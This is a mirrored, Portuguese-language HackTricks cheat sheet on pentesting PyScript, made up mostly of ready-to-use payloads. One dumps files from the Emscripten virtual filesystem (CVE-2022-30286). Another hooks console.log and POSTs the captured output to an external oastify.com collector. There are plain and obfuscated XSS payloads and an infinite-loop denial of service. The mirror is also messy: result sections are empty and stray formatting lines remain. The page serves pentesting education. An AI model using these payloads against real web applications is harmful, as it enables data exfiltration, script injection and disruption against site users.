mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
109 lines
5.7 KiB
Markdown
109 lines
5.7 KiB
Markdown
## Guia de Pentesting PyScript
|
|
|
|
PyScript é um novo framework desenvolvido para integrar Python em HTML, permitindo que seja usado junto com HTML. Nesta folha de dicas, você encontrará como usar o PyScript para fins de teste de penetração.
|
|
|
|
### Despejando / Recuperando arquivos do sistema de arquivos de memória virtual Emscripten:
|
|
|
|
`CVE ID: CVE-2022-30286`\
|
|
\
|
|
Código:
|
|
```html
|
|
<py-script>
|
|
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
|
out = fin.read()
|
|
print(out)
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
### [Exfiltração de Dados OOB do sistema de arquivos de memória virtual Emscripten (monitoramento de console)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
|
|
|
`ID do CVE: CVE-2022-30286`\
|
|
\
|
|
Código:
|
|
```html
|
|
<py-script>
|
|
x = "CyberGuy"
|
|
if x == "CyberGuy":
|
|
with open('/lib/python3.10/asyncio/tasks.py') as output:
|
|
contents = output.read()
|
|
print(contents)
|
|
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
### Cross Site Scripting (Ordinário)
|
|
|
|
Código:
|
|
```python
|
|
<py-script>
|
|
print("<img src=x onerror='alert(document.domain)'>")
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
### Cross Site Scripting (Python Ofuscado)
|
|
|
|
Código:
|
|
```python
|
|
<py-script>
|
|
sur = "\u0027al";fur = "e";rt = "rt"
|
|
p = "\x22x$$\x22\x29\u0027\x3E"
|
|
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
|
|
e = "c\u003d";q = "x"
|
|
y = "o";m = "ner";z = "ror\u003d"
|
|
|
|
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
### Cross Site Scripting (Ofuscação de JavaScript)
|
|
|
|
Código:
|
|
```html
|
|
<py-script>
|
|
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
### Ataque DoS (loop infinito)
|
|
|
|
Código:
|
|
```html
|
|
<py-script>
|
|
while True:
|
|
print(" ")
|
|
</py-script>
|
|
```
|
|
Resultado:
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|